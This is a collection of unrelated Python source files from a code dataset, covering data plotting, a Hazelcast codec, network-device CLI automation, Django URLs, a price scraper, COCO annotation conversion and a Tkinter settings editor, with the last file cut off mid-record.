+{"seq_id":"478864018","text":"#Calculate Average values and plot\n##1900 - 1980\n# International average gdp\namoy_gdp = []\nfor i in range(len(avaleurs_gdp_nonenull)):\n    amoy_gdp.append((round(np.sum(avaleurs_gdp_nonenull[i])/len(alst_gdp_nonenull))))    \n#International average Life expectancy\namoy_lifeexpectancy = []\nfor i in range(len(avaleurs_life_expectancy_nonenull)):\n    amoy_lifeexpectancy.append(np.sum(avaleurs_life_expectancy_nonenull[i])/len(alst_longevity_nonenull))\n\n\nfor i in tqdm_notebook(range(200), desc ='loop'):\n    sleep(0.01)\n\n#### fig. 1 Evolution Longevity vs GDP per years \n# a. International average Longevity over time (#Left figure)\n#-------------[1900 - 1978]--------------\nnrows = 1\nncols = 2\nfig = plt.figure(figsize=(18,7))\nx = alst_years\ny = amoy_lifeexpectancy\nz = amoy_gdp\nax1 = fig.add_subplot(nrows, ncols, 1)\nax1.plot(x, y, color = 'blue', label = 'International average longevity', linewidth=2)\nax1.set_aspect(1./ax1.get_data_ratio())\nplt.yticks(np.arange(min(y), max(y)+2, 2))\nplt.ylabel('Average longevity for years [1900-1980]')\nplt.xlabel('Time [1900 - 1980]')\nplt.legend(loc=\"upper left\")\nespace2 = ax1.twinx()\nespace2.plot(x, z, color = 'green', label = 'International average GDP', linewidth=2)\nplt.xlabel('Time [1900-1980]')\nplt.ylabel('Average GDP')\nplt.xticks(np.arange(min(x), max(x)+2, 5))\nplt.legend(loc=\"center left\")\n#-------------[1900 - 1980]--------------\n#b. Preston curve  GDP - Income (#Right figure)\nax2 = fig.add_subplot(nrows, ncols, 2)\nx2 = amoy_gdp\ny2 = amoy_lifeexpectancy\nax2.scatter(x2,y2,color='blue',edgecolor='none',label = 'International average Longevity per GDP',linewidth=2)\nax2.set_aspect(1./ax2.get_data_ratio())\nz2 = np.polyfit(x2, y2,2)\np = np.poly1d(z2)  ## Thanks Stackoverflow https://stackoverflow.com/questions/18767523/fitting-data-with-numpy\npylab.plot(x2,p(x2),\"r--\", label = 'Trend line')\nplt.ylabel('International average longevity [1900-1980]')\nplt.yticks(np.arange(min(y2)-1, max(y2)+2, 2))\nplt.xlabel('International average GDP per year [1900-1980]')\nplt.legend(loc=\"upper left\")\nplt.show()\n\nprint('1.1/ Longevity progress - [1900 - 1980]\\na) For the period between {} - {}, the international average life expectancy has raised by +{}%'.format(alst_years[15],alst_years[35],round(((amoy_lifeexpectancy[35] - amoy_lifeexpectancy[15])/amoy_lifeexpectancy[15])*100, 1)))\nprint('b) For the period between {} - {}, the international average life expectancy has raised by +{}%'.format(alst_years[45],alst_years[65],round(((amoy_lifeexpectancy[65] - amoy_lifeexpectancy[45])/amoy_lifeexpectancy[45])*100, 1)))\nprint('c) For the period between {} - {}, the international average life expectancy has raised by +{}%'.format(alst_years[65],alst_years[75],round(((amoy_lifeexpectancy[75] - amoy_lifeexpectancy[65])/amoy_lifeexpectancy[65])*100, 1)))\nprint('1.2/ Income progress [1900 - 1980]\\na) For the period between {} - {}, the international average income ppp varied by +{}%'.format(alst_years[15],alst_years[35],round(((amoy_gdp[35] - amoy_gdp[15])/amoy_gdp[15])*100, 1)))\nprint('b) For the period between {} - {}, the international average income ppp varied by +{}%'.format(alst_years[45],alst_years[65],round(((amoy_gdp[65] - amoy_gdp[45])/amoy_gdp[45])*100, 1)))\nprint('c) For the period between {} - {}, the international average income ppp varied by +{}%'.format(alst_years[65],alst_years[75],round(((amoy_gdp[75] - amoy_gdp[65])/amoy_gdp[65])*100, 1)))\nprintmd('\\nThe rapide increase in life expectancy that happend in the mid-40s could be explained with the discovery of Peniciline and its production that increased by early 1944. However, the relationship between living standard as captured and income were a dominant determinant of mortality ')\n\n\n#Calculate Average values and plot\n\n##1980 - 2015 \n#International average gdp per year \nmoy_gdp = []\nfor i in range(len(valeurs_gdp_nonenull)):\n    moy_gdp.append((round(np.sum(valeurs_gdp_nonenull[i])/len(lst_gdp_nonenull))))    \n#International average Life expectancy\nmoy_lifeexpectancy = []\nfor i in range(len(valeurs_life_expectancy_nonenull)):\n    moy_lifeexpectancy.append(np.sum(valeurs_life_expectancy_nonenull[i])/len(lst_longevity_nonenull))\n##########################################################################################################################\n##### fig. 2 Evolution Longevity vs GDP per years \n# a. International average Longevity over time \n\nfig = plt.figure(figsize=(18, 7))\nnrows = 1\nncols = 2\n#-------------[1980 - 2015]--------------\n# a. Internation average Longevity over time  (#left figure)\nax1 = fig.add_subplot(nrows, ncols, 1)\nx1 = lst_years\ny1= moy_lifeexpectancy\nz1 = moy_gdp\nax1.plot(x1, y1, color = 'blue', label = 'International average longevity', linewidth=2)\nplt.yticks(np.arange(min(y1), max(y1)+2, 2))\nplt.xlabel('Time [1980-2015]')\nplt.ylabel('Average longevity for years [1980-2015]')\nplt.legend(loc=\"upper left\")\nespace1 = ax1.twinx()\nespace1.plot(x1, z1, color = 'green', label = 'International average GDP', linewidth=2)\nplt.ylabel('Average GDP')\nplt.xticks(np.arange(min(x1), max(x1)+2, 5))\nplt.legend(loc=\"center left\")\n#-------------[1980-2015]--------------\n#b. Preston curve  GDP - Income (#right figure)\nax2 = fig.add_subplot(nrows, ncols, 2)\nx2 = moy_gdp\ny2 = moy_lifeexpectancy\nax2.scatter(x2,y2,color='blue',edgecolor='none', label = 'International average longevity per GDP', linewidth=2)\nax2.set_aspect(1./ax2.get_data_ratio())  # Help of http://people.duke.edu/~ccc14/pcfb/numpympl/MatplotlibBarPlots.html\nz2 = np.polyfit(x2, y2,2)\np = np.poly1d(z2)  ## Thanks Stackoverflow https://stackoverflow.com/questions/18767523/fitting-data-with-numpy\npylab.plot(x2,p(x2),\"r--\", label = 'Trend line')\nplt.xlabel('International average GDP per year [1980-2015]')\nplt.ylabel('International average longevity [1980-2015]')\nplt.yticks(np.arange(min(y2), max(y2), 2))\nplt.legend(loc=\"upper left\")\nplt.show()\n\n\nprint('2.1/ Longevity progress [1980 - 2015]\\na) For the period between {} - {}, the international average life expectancy has raised by {}%'.format(lst_years[0],lst_years[10], round(((moy_lifeexpectancy[10] - moy_lifeexpectancy[0])/moy_lifeexpectancy[0])*100, 1)))\nprint('b) For the period between {} - {}, the international average life expectancy has raised by {}%'.format(lst_years[10],lst_years[20], round(((moy_lifeexpectancy[20] - moy_lifeexpectancy[10])/ moy_lifeexpectancy[10])*100, 1)))\nprint('c) For the period between {} - {}, the international average life expectancy raised by {}%'.format(lst_years[20],lst_years[30], round(((moy_lifeexpectancy[30] - moy_lifeexpectancy[20])/ moy_lifeexpectancy[20])*100, 1)))\nprint('2.2/ Income progress [1980 - 2015]\\na) For the period between {} - {}, the international average income ppp varied by {}%'.format(lst_years[0],lst_years[10], round(((moy_gdp[10] - moy_gdp[0])/moy_gdp[0])*100, 1)))\nprint('b) For the period between {} - {}, the international average income ppp varied by {}%'.format(lst_years[10],lst_years[20], round(((moy_gdp[20] - moy_gdp[10])/ moy_gdp[10])*100, 1)))\nprint('c) For the period between {} - {}, the international average income ppp varied by {}%'.format(lst_years[20],lst_years[30], round(((moy_gdp[30] - moy_gdp[20])/ moy_gdp[20])*100, 1)))\nprint('\\nThe Preston curve revisited using the International average values to measure the responsiveness of Longevity after a change in the GDP, indicates a shift in the curve that has declined in magnitude since 1960. It means that at a certain level of income, there is less and less impact on the longevity.')\n","sub_path":"python_code/exploratory_data_analysis1.py","file_name":"exploratory_data_analysis1.py","file_ext":"py","file_size_in_byte":7519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"101338730","text":"from hazelcast.serialization.data import *\nfrom hazelcast.serialization.bits import *\nfrom hazelcast.protocol.client_message import ClientMessage\nfrom hazelcast.protocol.custom_codec import *\nfrom hazelcast.protocol.codec.transaction_message_type import *\n\nREQUEST_TYPE = TRANSACTION_COMMIT\nRESPONSE_TYPE = 100\nRETRYABLE = False\n\n\ndef calculate_size(transaction_id, thread_id):\n    \"\"\" Calculates the request payload size\"\"\"\n    data_size = 0\n    data_size += calculate_size_str(transaction_id)\n    data_size += LONG_SIZE_IN_BYTES\n    return data_size\n\n\ndef encode_request(transaction_id, thread_id):\n    \"\"\" Encode request into client_message\"\"\"\n    client_message = ClientMessage(payload_size=calculate_size(transaction_id, thread_id))\n    client_message.set_message_type(REQUEST_TYPE)\n    client_message.set_retryable(RETRYABLE)\n    client_message.append_str(transaction_id)\n    client_message.append_long(thread_id)\n    client_message.update_frame_length()\n    return client_message\n\n\ndef decode_response(client_message):\n    \"\"\" Decode response from client message\"\"\"\n    parameters = dict()\n    return parameters\n\n\n\n","sub_path":"hazelcast/protocol/codec/transaction_commit_codec.py","file_name":"transaction_commit_codec.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"478809641","text":"import re\nimport time\nfrom cafe.core.logger import CLogger as Logger\nfrom cafe.topology.topo import get_topology\nfrom cafe.core.signals import EXA_SESSION_ERROR\nfrom cafe.resp.response_map import ResponseMap\nfrom cafe.core.db import teststep\n\nlogger = Logger(__name__)\ndebug = logger.debug\nerror = logger.error\ndebug(\"importing module %s\" % __name__)\n\n\ndef get_exa_class(name, session, session_type=\"ssh\", release=None):\n    return CalixExaBase(name, session, session_type, release)\n\nclass CalixExaBase(object):\n    \"\"\"\n    base class of EXA interfaces\n    \"\"\"\n    LOGIN_PROMPT = \"login:\\s+$\"\n    PASSWORD_PROMPT = \"assword:\\s+$\"\n    EXA_PROMPT = \"\\S+#\\s*$\"\n    BASH_PROMPT = \"\\S+@\\S+:\\S+#\\s+$\"\n    CONFIG_PROMPT = \"\\S+\\(config\\)#\\s+$\"\n\n    def __init__(self, name, session, session_type=\"ssh\", release=None):\n        \"\"\"\n        \"\"\"\n        self.name = name\n        self.session = session\n        self.session.prompt.extend([self.LOGIN_PROMPT, self.PASSWORD_PROMPT, self.EXA_PROMPT,\n                                    self.BASH_PROMPT, self.CONFIG_PROMPT])\n        self.session_type = session_type\n        self.release = release\n\n    def command(self, cmd=\"\", timeout=30):\n        if self.session_type == \"ssh\":\n            r = self.session.expect_prompt(timeout=0)\n\n        self.session.write(cmd)\n        # return tuple (prompt index, <prompt re match object>, text)\n        r = self.session.expect_prompt(timeout=timeout)\n\n        if \"error:\" in r[2]:\n            status = False\n        else:\n            status = True\n        if r[0] < 0:\n            return {\"status\": status, \"prompt\": None, \"response\": r[2]}\n        else:\n            return {\"status\": status, \"prompt\": r[1].group(), \"response\": r[2]}\n\n    def __prompt_matches(self, prompt, regex):\n        ret = True\n\n        if (prompt is None) or (re.match(regex, prompt) is None):\n            ret = False\n\n        return ret\n\n    def login(self):\n        if self.session_type != \"telnet\":\n            self.session.login()\n\n        prompt = self.command(cmd=\"\\x03\")['prompt']\n        self.cli(prompt)\n\n    def cli(self, prompt):\n        # print(\"[[[[[%s|%s]]]]]\" % (prompt, self.EXA_PROMPT))\n        if self.__prompt_matches(prompt, self.CONFIG_PROMPT):\n            self.command(\"top\")\n            next_prompt = self.command(cmd=\"exit\")['prompt']\n        elif self.__prompt_matches(prompt, self.LOGIN_PROMPT):\n            next_prompt = self.command(cmd=self.session.user)['prompt']\n        elif self.__prompt_matches(prompt, self.PASSWORD_PROMPT):\n            next_prompt = self.command(cmd=self.session.password)['prompt']\n        elif self.__prompt_matches(prompt, self.BASH_PROMPT):\n            next_prompt = self.command(cmd=\"cli\")['prompt']\n        elif self.__prompt_matches(prompt, self.EXA_PROMPT):\n            return\n        else:\n            error(\" - attempt to get to CLI level resulted in an undefined state. Prompt: %s\" % prompt)\n            return\n\n        self.cli(next_prompt)\n\n    def in_known_state(self, prompt):\n        known_states = [self.LOGIN_PROMPT, self.BASH_PROMPT, self.CONFIG_PROMPT, self.EXA_PROMPT, self.PASSWORD_PROMPT]\n\n        match = False\n\n        for i in known_states:\n            if self.__prompt_matches(prompt, i):\n                match = True\n                break\n\n        return match\n\n    def reload(self):\n        prompt = self.command(cmd=\"\\x03\")['prompt']\n        self.cli(prompt)\n        print(self.command(\"reload\"))\n        print(self.command(\"y\"))\n\n        reboot_successful = True\n\n        if self.session_type == \"telnet\":\n            num_retries = 15\n            wait_time = 30\n\n            while (not self.in_known_state(self.command(timeout=wait_time)['prompt'])) and (num_retries > 0):\n                time.sleep(wait_time)\n                num_retries -= 1\n\n            if num_retries <= 0:\n                reboot_successful = False\n        elif self.session_type == \"ssh\":\n            num_retries = 20\n            wait_time = 20\n\n            time.sleep(5)\n\n            disconnected = True\n\n            initial_disconnect = False\n\n            while disconnected and (num_retries >= 0):\n                try:\n                    self.login()\n                    disconnected = False\n                except Exception as e:\n                    #print(e.message)\n                    initial_disconnect = True\n\n                time.sleep(wait_time)\n                # print(\"retries left: %s\" % num_retries)\n                num_retries -= 1\n\n            reboot_successful = not disconnected\n\n        if reboot_successful:\n            c = self.command(cmd=\"\\x03\")\n            #print(c)\n            prompt = c['prompt']\n            self.cli(prompt)\n            debug(\" - reloaded successfully\")\n        else:\n            error(\" - failed to reload device!\")\n\n    def reconnect(self):\n        reboot_successful = True\n\n        if self.session_type == \"telnet\":\n            num_retries = 15\n            wait_time = 30\n\n            while (not self.in_known_state(self.command(timeout=wait_time)['prompt'])) and (num_retries > 0):\n                time.sleep(wait_time)\n                num_retries -= 1\n\n            if num_retries <= 0:\n                reboot_successful = False\n        elif self.session_type == \"ssh\":\n            num_retries = 20\n            wait_time = 20\n\n            time.sleep(5)\n\n            disconnected = True\n\n            initial_disconnect = False\n\n            while disconnected and (num_retries >= 0):\n                try:\n                    self.login()\n                    disconnected = False\n                except Exception as e:\n                    #print(e.message)\n                    initial_disconnect = True\n\n                time.sleep(wait_time)\n                # print(\"retries left: %s\" % num_retries)\n                num_retries -= 1\n\n            reboot_successful = not disconnected\n\n        if reboot_successful:\n            c = self.command(cmd=\"\\x03\")\n            #print(c)\n            prompt = c['prompt']\n            self.cli(prompt)\n            debug(\" - reloaded successfully\")\n        else:\n            error(\" - failed to reload device!\")\n\n    @teststep(\"get_interface_craft\")\n    def get_interface_craft(self, intf):\n        # E5-520# show interface craft 1 | nomore\n        # interface craft 1\n        #  status\n        #   name            \"craft 1\"\n        #   admin-state     enable\n        #   oper-state      unknown\n        #   mac-addr        00:02:5D:BA:8D:B7\n        #   net-config-type static\n        #   ip-address      10.243.19.213\n        #   ip-mask         255.255.252.0\n        #   ip-gateway      10.243.16.1\n        #   craft-cntrs\n        #    rx-pkts   586110\n        #    rx-octets 170323600\n        #    tx-pkts   71836\n        #    tx-octets 14459880\n        #   dhcp-server     disable\n        #(0, <object>, text)\n        r = self.command(cmd=\"show interface craft %s | nomore\" % str(intf))\n        resp = r[\"response\"]\n        m = ResponseMap(resp)\n        d = m.parse_key_value_pairs(start_line=1)\n        return d\n\n\n\n\n\n\n\n\n\n\n","sub_path":"equipment/calix/exa.py","file_name":"exa.py","file_ext":"py","file_size_in_byte":7018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"374538990","text":"from django.contrib.auth import views as auth_views\nfrom django.urls import include, path\n\nfrom . import views\nfrom .forms import LoginForm\n\nurlpatterns = [\n\tpath('login', auth_views.login, {'template_name':'accounts/login.html', \n\t\t'authentication_form': LoginForm}, name='login'),\n\tpath('logout', auth_views.logout, {'next_page': '/'}, name='logout'),\n\tpath('signup', views.signup, name='signup'),\n\tpath('guests', views.GuestList.as_view(), name='guest_list'),\n\tpath('admin', views.AdminList.as_view(), name='admin_list'),\n\tpath('user/<int:pk>/edit', views.EditUser.as_view(), name='edit_user'),\n\tpath('user/<int:pk>', views.UserProfile.as_view(), name='user_profile'),\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"38619507","text":"\"\"\"Boolean field class & utilities.\"\"\"\nfrom gettext import gettext as _\nfrom typing import Any\n\nfrom pofy.core.errors import ErrorCode\nfrom pofy.core.constants import UNDEFINED\nfrom pofy.fields.base_field import ScalarField\nfrom pofy.core.interfaces import ILoadingContext\n\n\nclass BoolField(ScalarField):\n    \"\"\"Boolean YAML object field.\"\"\"\n\n    def _convert(self, context: ILoadingContext) -> Any:\n        node = context.current_node()\n        true_values = [\n            'y', 'Y', 'yes', 'Yes', 'YES',\n            'true', 'True', 'TRUE',\n            'on', 'On', 'ON'\n        ]\n        false_values = [\n            'n', 'N', 'no', 'No', 'NO',\n            'false', 'False', 'FALSE'\n            'off', 'Off', 'OFF'\n        ]\n\n        value = node.value\n        if value in true_values:\n            return True\n\n        if value in false_values:\n            return False\n\n        context.error(\n            ErrorCode.VALUE_ERROR,\n            _('Boolean value should be one of {}'),\n            ', '.join(true_values + false_values)\n        )\n\n        return UNDEFINED\n","sub_path":"pofy/fields/bool_field.py","file_name":"bool_field.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"573055137","text":"import pickle\nfrom pathlib import Path\nfrom datetime import datetime, date\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\n_coinmarketcap_data_filename = \"tmp/{}-coinmarketcap-data.pickle\"\n_pricehistory_filename = \"tmp/{}-pricehistory.pickle\"\n\n\ncurrency2symbolmap = {\n    \"bitcoin\": \"XXBT\",\n    \"ethereum\": \"XETH\",\n    \"stellar\": \"XXLM\"\n}\n\n\ndef get_data_from_coinmarketcap(currency):\n    r = requests.get(f\"https://coinmarketcap.com/currencies/{currency}/historical-data/?start=20140101&end=20180423\")\n    with open(_coinmarketcap_data_filename.format(currency), \"wb\") as f:\n        pickle.dump(r, f, pickle.HIGHEST_PROTOCOL)\n\n\ndef load_data(currency):\n    filename = _coinmarketcap_data_filename.format(currency)\n    if not Path(filename).exists():\n        print(f\"Didn't find data file for {currency}, downloading...\")\n        get_data_from_coinmarketcap(currency)\n    with open(filename, \"rb\") as f:\n        return pickle.load(f)\n\n\ndef parse_table(doc):\n    soup = BeautifulSoup(doc, 'html.parser')\n    tables = soup.find_all(\"table\")\n\n    headers = [el.text.lower() for el in tables[0].find_all(\"th\")]\n    rows = []\n\n    for row in tables[0].find_all(\"tr\"):\n        cells = [el.text for el in row.find_all(\"td\")]\n        if len(cells) == len(headers):\n            rows.append({k: v for k, v in zip(headers, cells)})\n        elif cells:\n            print(f\"Incomplete row: {cells}\")\n\n    d = {datetime.strptime(r[\"date\"], \"%b %d, %Y\").date(): r for r in rows}\n    for k, v in d.items():\n        v.pop(\"date\")\n        v.pop(\"market cap\")\n        d[k] = {ohlc: float(d[k][ohlc].replace(\",\", \"\")) for ohlc in d[k]}\n    return d\n\n\ndef _save_table(currency, data):\n    with open(_pricehistory_filename.format(currency2symbolmap[currency]), \"wb\") as f:\n        pickle.dump(data, f)\n        print(f\"Price history for {currency} saved!\")\n\n\ndef test_everything():\n    data = load_data(\"bitcoin\")\n    tablebtc = parse_table(data.text)\n\n    assert all(k in tablebtc[date(2017, 1, 1)] for k in [\"open\", \"high\", \"low\", \"close\"])\n\n    data = load_data(\"ethereum\")\n    tableeth = parse_table(data.text)\n\n    assert tablebtc[date(2017, 1, 1)][\"open\"] != tableeth[date(2017, 1, 1)][\"open\"]\n\n\nif __name__ == \"__main__\":\n    # get_data(\"bitcoin\")\n    for currency in [\"bitcoin\", \"ethereum\", \"stellar\"]:\n        print(f\"Getting price history for {currency}...\")\n        data = load_data(currency)\n        table = parse_table(data.text)\n        _save_table(currency, table)\n\n    # print(data.text)\n","sub_path":"download_data.py","file_name":"download_data.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"646054205","text":"import serial\nimport pickle\n\nframe = bytearray()\ndata = list()\n\nBYTES_TO_READ = 2000\nlog_name = \"/home/hkeene/pool/aqualogic/playground/logs/raw.bin\"\n\nif __name__ == '__main__':\n\n    ser = serial.Serial(\n        port = '/dev/ttyUSB0',\\\n        baudrate = 19200)\n    print(\"Connected to: \" + ser.portstr)\n\n    #Prime the prev for the first time loop\n    read = ser.read(BYTES_TO_READ)\n    with open (log_name, \"wb\") as fp:\n        pickle.dump(read, fp)\n\n    ser.close()\n","sub_path":"playground/save_raw.py","file_name":"save_raw.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"648315120","text":"# -*- coding: utf-8 -*-\nimport random as r\nimport os\nfrom PIL import Image\nimport h5py\nimport json\n\n\ntrain_folder = \"train\"\ntrainImgIDSet = set()\nerrorImgIDSet = set()\ncoco_dict = {\n    \"images\": [],\n    \"annotations\": [],\n    \"categories\": [{\"id\": i, \"name\": \"{}\".format(i % 10)} for i in range(1, 11)],\n}\n\nval_coco_dict = {\n    \"images\": [],\n    \"annotations\": [],\n    \"categories\": [{\"id\": i, \"name\": \"{}\".format(i % 10)} for i in range(1, 11)],\n}\n\nerror_coco_dict = {\n    \"images\": [],\n    \"annotations\": [],\n    \"categories\": [{\"id\": i, \"name\": \"{}\".format(i % 10)} for i in range(1, 11)],\n}\n\nfor root, dirs, files in os.walk(train_folder):\n    for f in files:\n        name_cut = f.split(\".\")\n        if name_cut[-1] == \"png\":\n            im = Image.open(os.path.join(root, f))\n            width, height = im.size\n            temp_dict = {\n                \"file_name\": f,\n                \"height\": height,\n                \"width\": width,\n                \"id\": int(name_cut[0]),\n            }\n            if r.randint(0, 33402) > 1000:\n                coco_dict[\"images\"].append(temp_dict)\n                trainImgIDSet.add(int(name_cut[0]))\n            else:\n                val_coco_dict[\"images\"].append(temp_dict)\n            if r.randint(0, 33402) < 100:\n                error_coco_dict[\"images\"].append(temp_dict)\n                errorImgIDSet.add(int(name_cut[0]))\n\n\ndef get_name(index, hdf5_data):\n    name = hdf5_data[\"/digitStruct/name\"]\n    return \"\".join([chr(v[0]) for v in hdf5_data[name[index][0]][()]])\n\n\ndef get_bbox(index, hdf5_data):\n    attrs = {}\n    item = hdf5_data[\"digitStruct\"][\"bbox\"][index].item()\n    for key in [\"label\", \"left\", \"top\", \"width\", \"height\"]:\n        attr = hdf5_data[item][key]\n        values = (\n            [hdf5_data[attr[()][i].item()][()][0][0] for i in range(len(attr))]\n            if len(attr) > 1\n            else [attr[()][0][0]]\n        )\n        attrs[key] = values\n    return attrs\n\n\ndef img_boundingbox_data_constructor(mat_file):\n    f = h5py.File(mat_file, \"r\")\n    print(\"image bounding box data construction starting...\")\n    for j in range(f[\"/digitStruct/bbox\"].shape[0]):\n        row_dict = get_bbox(j, f)\n        for i in range(len(row_dict[\"label\"])):\n            temp_dict = {\n                \"area\": row_dict[\"width\"][i] * row_dict[\"height\"][i],\n                \"iscrowd\": 0,\n                \"image_id\": int(get_name(j, f).split(\".\")[0]),\n                \"bbox\": [\n                    row_dict[\"left\"][i],\n                    row_dict[\"top\"][i],\n                    row_dict[\"width\"][i],\n                    row_dict[\"height\"][i],\n                ],\n                \"category_id\": int(row_dict[\"label\"][i]),\n                \"id\": j,\n            }\n            if int(get_name(j, f).split(\".\")[0]) in trainImgIDSet:\n                coco_dict[\"annotations\"].append(temp_dict)\n            else:\n                val_coco_dict[\"annotations\"].append(temp_dict)\n            if int(get_name(j, f).split(\".\")[0]) in errorImgIDSet:\n                error_coco_dict[\"annotations\"].append(temp_dict)\n    print(\"finished image bounding box data construction...\")\n\n\nbbox_df = img_boundingbox_data_constructor(\n    os.path.join(train_folder, \"digitStruct.mat\")\n)\nwith open(\n    os.path.join(train_folder, \"train_data_processed.json\"), \"w\", encoding=\"utf-8\"\n) as f:\n    json.dump(coco_dict, f, ensure_ascii=False)\n\nwith open(\n    os.path.join(train_folder, \"val_data_processed.json\"), \"w\", encoding=\"utf-8\"\n) as f:\n    json.dump(val_coco_dict, f, ensure_ascii=False)\n\nwith open(\n    os.path.join(train_folder, \"error_data_processed.json\"), \"w\", encoding=\"utf-8\"\n) as f:\n    json.dump(error_coco_dict, f, ensure_ascii=False)\n","sub_path":"to_coco_format.py","file_name":"to_coco_format.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"413176396","text":"from Tkinter import *\nfrom tkColorChooser import askcolor\nimport json\n\ntry:\n\tf = open(\"../assets/settings.json\")\nexcept IOError:\n\tf = open(\"assets/settings.json\")\ndecoder = json.JSONDecoder()\n\ndict = decoder.decode(f.read())\n\nf.close()\n\nwidth =dict[\"width\"]\nheight=dict[\"height\"]\n\ndef error(message):\n\terror = Tk()\n\terror.wm_title(\"Rapyd Error!\")\n\tlbl = Label(error,text=message)\n\tlbl.pack()\n\terror.mainloop()\n\ndef getColor():\n\tcolor =(dict[\"color\"][0], dict[\"color\"][1], dict[\"color\"][2])\t\n\n\tnewcolor = askcolor(color=color)\n\tif (newcolor[0]!=None):\n\t\tcolor = newcolor[0]\n\n\tdict[\"color\"][0] = color[0]\n\tdict[\"color\"][1] = color[1]\n\tdict[\"color\"][2] = color[2]\n\ndef aboutCallback():\n\tabout = Tk()\n\tabout.wm_title(\"About Rapyd v0.1\")\n\tlbl = Label(about, text=\"Rapyd v0.1 - by Jed Stevens\\nEst. 2015\")\n\taddr = Label(about, text=\"Find more at github.com/jedStevens/rapyd\")\n\tlbl.pack()\n\taddr.pack()\n\tabout.mainloop()\n\ndef saveCallback():\n\ttry:\n\t\tdict[\"width\"] = int(widthEntry.get())\n\t\tdict[\"height\"] = int(heightEntry.get())\n\texcept ValueError:\n\t\terror(\"Invalid Screen Size!\")\n\t\treturn\n\tencoder = json.JSONEncoder()\n\ttry:\n\t\tf = open(\"../assets/settings.json\", 'w')\n\texcept IOError:\n\t\tf = open(\"assets/settings.json\", 'w')\n\tf.write(encoder.encode(dict))\n\tf.close()\n\ndef exitCallback():\n\troot.quit()\n\nroot = Tk()\nroot.wm_title(\"Rapyd Settings\")\n\nmenu = Menu(root)\nroot.config(menu=menu)\n\nfilemenu = Menu(menu)\nmenu.add_cascade(label=\"File\", menu=filemenu)\nfilemenu.add_command(label=\"Save\", command=saveCallback)\nfilemenu.add_separator()\nfilemenu.add_command(label=\"Exit\", command=exitCallback)\n\nhelpmenu = Menu(menu)\nmenu.add_cascade(label=\"Help\", menu=helpmenu)\nhelpmenu.add_command(label=\"About\", command=aboutCallback)\n\nwidthLbl = Label(root, text=\"Screen Width: \")\nwidthLbl.grid(row=0,column=0,columnspan=2)\n\nwidthEntry = StringVar()\nwidthEntry.set(dict[\"width\"])\nwidthBox = Entry(root, textvariable=widthEntry)\nwidthBox.grid(row=0,column=3,columnspan=2)\n\nheightLbl = Label(root, text=\"Screen Height: \")\nheightLbl.grid(row=1, column=0, columnspan=2)\n\nheightEntry = StringVar()\nheightEntry.set(dict[\"height\"])\nheightBox = Entry(root, textvariable=heightEntry)\nheightBox.grid(row=1, column=3,columnspan=2)\n\ncolorLbl = Label(root, text=\"Fill Color\")\ncolorLbl.grid(row=2,column=0,columnspan=2)\n\ncolorBtn = Button(text=\"Choose Color\", command=getColor)\ncolorBtn.grid(row=2,column=2,columnspan=2)\n\nroot.mainloop()\n","sub_path":"editor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"598289941","text":"#!/usr/bin/python3\nfrom Language import Language\nfrom Requirement import Requirement\n \ndef main():\n    languages = Language()\n    requirements = Requirement(languages.language_dict)\n    while True:\n        language_name = languages.set_language_name()\n        languages.write_dict_language()\n        while True:\n            requirements.set_requirement_name(language_name)\n            requirements.write_requirements_name()\n            print('Czy chcesz wyjść? T/N')\n            c = input()\n            if c == 'T' or c == 't':\n                break\n            elif c == 'N' or c == 'n':\n                continue\n            else:\n                print('Coś poszło nie tak.')\n        print('Czy chcesz wyjść? T/N')\n        c = input()\n        if c == 'T' or c == 't':\n            break\n        elif c == 'N' or c == 'n':\n            continue\n        else:\n            print('Coś poszło nie tak.')\n \nif __name__ == '__main__':\n    main()\n","sub_path":"projekty_cwiczeniowe-master/RozmowaKwalifikacyjna/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"418422795","text":"import os\nimport collections\nimport operator\nimport shutil\nimport datetime\nimport itertools\nfrom email.mime.multipart import MIMEMultipart\nfrom unittest.mock import patch, Mock, PropertyMock\nfrom egcg_core.config import cfg\nfrom tests import TestProjectManagement, NamedMock\nfrom bin import deliver_reviewed_data as d\n\nsample_templates = {\n    'process_id1': {\n        'name': 'p1sample%s',\n        'nb_sample': 4,\n        'already_delivered_samples': [3, 4],\n        'samples': {\n            'project_id': 'project1',\n            'user_sample_id': 'p1_user_s_id%s',\n            'species_name': 'Homo sapiens',\n            'useable': 'yes',\n            'required_yield': 120000000000,\n            'required_coverage': 30,\n            'aggregated': {\n                'clean_reads': 39024000,\n                'yield_in_gb': 127,\n                'yield_q30_in_gb': 102,\n                'pc_q30': 85.2,\n                'pc_mapped_reads': 99.1,\n                'pc_duplicate_reads': 16.4,\n            },\n            'coverage': {'mean': 35},\n\n        },\n        'lims/samples': {\n            'Delivery': 'merged',\n            'Total DNA(ng)': 2000\n        },\n        'lims/status/sample_status': {\n            'library_type': 'pcrfree',\n            'started_date': '2017-08-02T11:25:14.659000'\n        },\n        'run_elements': [\n            {\n                'run_element_id': 'run1_el_s%s_id1',\n                'clean_reads': 15,\n                'run_id': 'run1',\n                'project_id': 'project1',\n                'lane': 1,\n                'useable': 'yes'\n            },\n            {\n                'run_element_id': 